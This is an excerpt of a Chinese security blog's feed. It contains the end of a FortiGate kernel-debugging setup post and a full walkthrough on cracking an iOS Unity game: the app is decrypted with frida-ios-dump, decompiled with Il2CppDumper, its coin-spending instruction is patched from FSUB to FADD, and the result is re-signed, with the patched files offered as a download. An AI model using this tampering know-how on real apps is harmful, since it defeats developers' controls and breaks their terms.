src="boxcnqDzrAcy5Krj2XG5AtXfIYf.png" alt="" /></p><p>搜索并打开 <code>disk</code> 应用</p><p><img src="boxcnrSJtNfKhxmlPUYySXku1fb.png" alt="" /></p><p><img src="boxcnxDdp9wGX6NZjcGaHH1KPUd.png" alt="" /></p><p>找到新添加的硬盘后，点击启动按钮，接着硬盘会被挂载，进而得到 rootfs 和 vmlinuz</p><p><img src="boxcnOVM9ShpKe6aUI4bRyywlde.png" alt="" /></p><h2 id="寻找断点函数"><a class="markdownIt-Anchor" href="#寻找断点函数"></a> 寻找断点函数</h2><p>加载 vmlinux_elf 文件到 ida 中进行分析。</p><p>通常 vmlinuz 初始化流程中最后一步，内核会执行 init_post 函数。其中在该函数中最终会执行/sbin/init。</p><p><img src="boxcnbwMuK4CGzX6yDzpIb9PuEf.png" alt="" /></p><p>记录该函数地址 <code>FFFFFFFF807AC0E9</code> ,为了接下来调试做准备</p><p><img src="boxcnCjVKc5j2byi1YAp9jxrcWh.png" alt="" /></p><h2 id="配置-vm-调试信息"><a class="markdownIt-Anchor" href="#配置-vm-调试信息"></a> 配置 vm 调试信息</h2><pre class="highlight"><code class="">debugStub.listen.guest64 = &quot;TRUE&quot;debugStub.listen.guest64.remote = &quot;TRUE&quot;debugStub.port.guest64 = &quot;12345&quot;debugStub.listen.guest32 = &quot;TRUE&quot;debugStub.listen.guest32.remote = &quot;TRUE&quot;debugStub.port.guest32 = &quot;12346&quot;</code></pre><p><img src="boxcn54fRCjoOOehEJ0l7llpG6e.png" alt="" /></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;获取-vmlinuz&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#获取-vmlinuz&quot;&gt;&lt;/a&gt; 获取 vmlinuz&lt;/h2&gt;
&lt;h3 id=&quot;方式一&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#方式一&quot;&gt;&lt;/a&gt; 方式一&lt;/h3&gt;
&lt;p&gt;对于 vmdk 没有加密的虚拟设备来说，可以直接通过挂载磁盘的方式提取出 vmlinuz 文件，但是要注意磁盘中的内核文件命名可能不同！！！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;boxcn2cjTeNLk3cdxSy6yrkdxef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="FortiGate" scheme="http://ioo0s.art/tags/FortiGate/"/>
    
  </entry>
  
  <entry>
    <title>ios游戏破解-王铲铲的致富之路</title>
    <link href="http://ioo0s.art/2023/02/06/ios%E6%B8%B8%E6%88%8F%E7%A0%B4%E8%A7%A3-%E7%8E%8B%E9%93%B2%E9%93%B2%E7%9A%84%E8%87%B4%E5%AF%8C%E4%B9%8B%E8%B7%AF/"/>
    <id>http://ioo0s.art/2023/02/06/ios%E6%B8%B8%E6%88%8F%E7%A0%B4%E8%A7%A3-%E7%8E%8B%E9%93%B2%E9%93%B2%E7%9A%84%E8%87%B4%E5%AF%8C%E4%B9%8B%E8%B7%AF/</id>
    <published>2023-02-06T03:10:52.000Z</published>
    <updated>2023-02-22T03:24:23.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="游戏介绍"><a class="markdownIt-Anchor" href="#游戏介绍"></a> 游戏介绍</h2><p>版本：1.2.4<br />设备：xsmax<br />游戏环境：Unity</p><span id="more"></span><h3 id="游戏玩法"><a class="markdownIt-Anchor" href="#游戏玩法"></a> 游戏玩法</h3><p>看着他挖，但是你需要钱去升级设备、场子等等，总之有钱！这个游戏就是你的天下！！！</p><p>游戏不需要额外充钱，但是会一直有广告</p><p><img src="boxcnJ17FucdZKSiH6x0ChWdZQd.png" alt="" /></p><h2 id="逆向过程"><a class="markdownIt-Anchor" href="#逆向过程"></a> 逆向过程</h2><h3 id="砸壳"><a class="markdownIt-Anchor" href="#砸壳"></a> 砸壳</h3><p>获取未加密APP</p><h4 id="砸壳环境"><a class="markdownIt-Anchor" href="#砸壳环境"></a> 砸壳环境</h4><ol><li>实体机 xsmax 系统版本 14.8 已经越狱</li><li>Mac os 环境 需要装<strong>usbmuxd</strong><strong>，</strong><em>Windows 下没找到能解决该问题的方法</em></li><li>均安装 frida 同一版本就行</li><li>Frida-ios-dump</li></ol><h4 id="开始砸壳"><a class="markdownIt-Anchor" href="#开始砸壳"></a> 开始砸壳</h4><ol><li>确保 frida 能正常连通</li></ol><p>使用 usb 连接手机设备，使用命令 <code>frida-ps -U</code> 该命令用于查看 USB 连接设备当前运行的进程。</p><p>待补充图</p><ol><li>使用 iproxy 命令转发 22 端口，<code>iproxy 2222 22</code></li></ol><p><img src="boxcn0RZDt8j3nK46J3dKip84Le.png" alt="" /></p><ol><li>修改 Frida-ios-dump 脚本中的 root 密码</li><li>输入命令 <code>python dump.py -l</code> 列出当前设备中的应用程序</li></ol><p><img src="boxcncd3lDAxThVjkRnfRXbvT7e.png" alt="" /></p><ol><li>输入命令 <code>python dump.py com.mojike.digearth</code> ，开始砸壳</li></ol><p><img src="boxcnBdRrzbav42e0hDHn1Stvx1.png" alt="" /></p><h3 id="解包分析"><a class="markdownIt-Anchor" href="#解包分析"></a> 解包分析</h3><p>复制 dump 中的 ipa 文件到 Windows 下，进行下一步分析。</p><p>首先重命名.ipa 为.zip 并解压</p><p><img src="boxcnag2Z25uOhh6sj96vHGjINe.png" alt="" /></p><p>简单说明一下重要的目录结构，该游戏是 Unity 开发。</p><h4 id="data-目录"><a class="markdownIt-Anchor" href="#data-目录"></a> Data 目录</h4><p><img src="boxcnqU56Sk9q7lCmgiS47dD58f.png" alt="" /></p><p><code>data.unity3d</code> 文件是游戏的资源文件，可以通过 <code>AssetStudio.net6</code>  或者 <code>AssetRipper_win_x64</code> 进行查看或者分析</p><p><code>RaW</code> 文件夹里面放着一些分享时的图片资源</p><p><code>Managed</code> 文件夹放着 ll2cpp 生成后的文件 非常重要！！！</p><p><code>mono</code> 放着数据库相关文件</p><h4 id="frameworks-目录"><a class="markdownIt-Anchor" href="#frameworks-目录"></a> Frameworks 目录</h4><p><img src="boxcnyfJ63JIN5VypLEzOF4uMwb.png" alt="" /></p><p><code>UnityFramework.framework</code> 里面放着游戏编译后的 object-c 程序 很重要</p><p><code>KSAdSDK.framework</code> 广告框架，没有详细 研究</p><p><code>TTNetworkManager.framework</code> 网络相关，没有详细研究</p><h3 id="ll2cpp-反编译"><a class="markdownIt-Anchor" href="#ll2cpp-反编译"></a> ll2cpp 反编译</h3><p>利用 <code>Il2CppDumper-net6-v6.7.25 </code> 进行反编译</p><p><strong>可执行文件位置</strong></p><p><img src="boxcnPDeYAgcm7Zt8BWMEW6Mbtc.png" alt="" /></p><p>符号表数据位置 <code>global-metadata.dat</code></p><p><img src="boxcnSVoilDB8tTBfvFls9MAnvb.png" alt="" /></p><p>反编译后的数据信息</p><p><img src="boxcnEYnzNfzvqp6n1wPbWL1mYf.png" alt="" /></p><p>其中 stringliteral.json 是字符串表信息，包含着游戏字符串和对应偏移地址，il2cpp.h 是 object-c 的结构体信息</p><p>dump.cs <a href="http://xn--0iv.net">是.net</a> 反编译后的源码信息，DummyDll 中包含的是提取出来的所有游戏 DLL 信息与 dump.cs 内容一致。</p><h3 id="逆向分析主程序"><a class="markdownIt-Anchor" href="#逆向分析主程序"></a> 逆向分析主程序</h3><p>首先通过 ida 打开程序</p><p><img src="boxcniqSbnOWZcULEuB3k3HwGeg.png" alt="" /></p><p>接着利用脚本导入之前得到的 il2cpp.h 文件，和字符串文件信息</p><p><img src="boxcnoXIzcO49IjqQ8GIovJC9qh.png" alt="" /></p><p>这几个都可以导入，等待 20-30 分钟（函数量非常大！！）</p><p><img src="boxcndmfo2D6CT5zJ6psKdIOfMg.png" alt="" /></p><p>接着就能看到 字符串已经可以分析出来了，函数名称也已经恢复，接着通过字符串文件，搜索我们的需求 `<strong>钱！！！！</strong></p><p>通过关键字 <code>money</code> 、<code>coin</code> 搜索到一个关键信息</p><p><img src="boxcnSEqS3Y2DVAz35ebdDAKWfh.png" alt="" /></p><p>ida 中输入 g，复制地址跳转</p><p><img src="boxcntjU2nDRNbOY7PzxaZQTG7d.png" alt="" /></p><p>发现有几个函数引用了该字符串，get_GameCoin、set_GameCoin，因为目的是要改钱，所以 set 对我们更重要</p><p><img src="boxcn2Kno7Ua0UpgaVKRcbDnwjc.png" alt="" /></p><p>根据 value 进行设置，看看哪里用了 set</p><p><img src="boxcnAyS6owBybEtXazcymb3QBh.png" alt="" /></p><p>发现有 CostCoin 函数和 AddCoin 函数都用到了该函数，所以这里有两种改法，一个是修改 AddCoin 时设置钱的数量，一个是修改花费时不扣钱。</p><p><img src="boxcnKkHB5rmPAMzZB5mVkiGJvg.png" alt="" /></p><p>可以看到增加钱的逻辑，是查询现有的钱然后加上获得的钱，这里修改的话就会造成一个问题！！！初始化的时候钱为 0.不太好改动，所以我打算改动了花费处</p><p><img src="sboxcnPkalcvB4EGjGtobm8QO1Lg.png" alt="" /></p><p>可以看到，我把花费时应该-coin 的位置改成了 +coin，这样的话每次花钱都会价钱，达到了一个修改金钱的目的</p><p><img src="boxcnHQ0fZiEBkztENJWLUvNRpd.png" alt="" /></p><p>改法比较简单，把原本 FSUB 改成 FADD 就可以了，除了钱还有个新出的模式 月球模式</p><p><img src="boxcnMw4S8i3IwH7yPhVMPaKXie.png" alt="" /></p><p>这个也是一种钞票，我们用同样的方式进行逆向</p><p><img src="boxcnHHYqNfT6fSCBfILVSgOkue.png" alt="" /></p><p>又看到熟悉的 ADD 和 Cost，同样减改成加</p><p><img src="boxcngxewsshIQZWUU7WVuc2bre.png" alt="" /></p><p>改法相同 FSUB 改成 FADD</p><p><img src="boxcnOqTyizqMdPAhYZDUwHZZtf.png" alt="" /></p><h2 id="打包重签名"><a class="markdownIt-Anchor" href="#打包重签名"></a> 打包重签名</h2><p>这个过程方法有太多太多，这里为了能尽快玩上游戏，我们就走最朴实无华的路线。</p><p>首先将 patched 后的游戏文件替换掉原本的文件</p><p><img src="boxcn85zIE4jPqwOQpFs34t50vc.png" alt="" /></p><p>把该文件复制到对应位置，并且进入这个位置，右键压缩文件</p><p><img src="boxcn4va9IAGB96jX3K2ALaCv4d.png" alt="" /></p><p>压缩后，重命名 Payload.zip 为 Payload.ipa</p><p>打开爱思助手！！！，使用里面的签名工具</p><p><img src="boxcniyY5OAGkwqvNpc8dQirz7c.png" alt="" /></p><p>签名完成后，就能安装使用了</p><p><img src="boxcn468hrv1wyvIDPVhopTFDBd.png" alt="" /></p><p>安装即可</p><p><img src="boxcnmoH9OE4T9C8bGEJGfmlC7g.png" alt="" /></p><h2 id="逆向相关文件下载"><a class="markdownIt-Anchor" href="#逆向相关文件下载"></a> 逆向相关文件下载</h2><p><img src="image-20230222112257166.png" alt="" /></p><p>链接：<a href="https://pan.baidu.com/s/1gX0Z069Wft1Q_NbdaKrhxQ?pwd=799v">https://pan.baidu.com/s/1gX0Z069Wft1Q_NbdaKrhxQ?pwd=799v</a><br />提取码：799v</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;游戏介绍&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#游戏介绍&quot;&gt;&lt;/a&gt; 游戏介绍&lt;/h2&gt;
&lt;p&gt;版本：1.2.4&lt;br /&gt;
设备：xsmax&lt;br /&gt;
游戏环境：Unity&lt;/p&gt;</summary>
    
    
    
    <category term="逆向工程" scheme="http://ioo0s.art/categories/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="ios逆向" scheme="http://ioo0s.art/tags/ios%E9%80%86%E5%90%91/"/>
    
    <category term="游戏破解" scheme="http://ioo0s.art/tags/%E6%B8%B8%E6%88%8F%E7%A0%B4%E8%A7%A3/"/>
    
  </entry>
  
</feed>
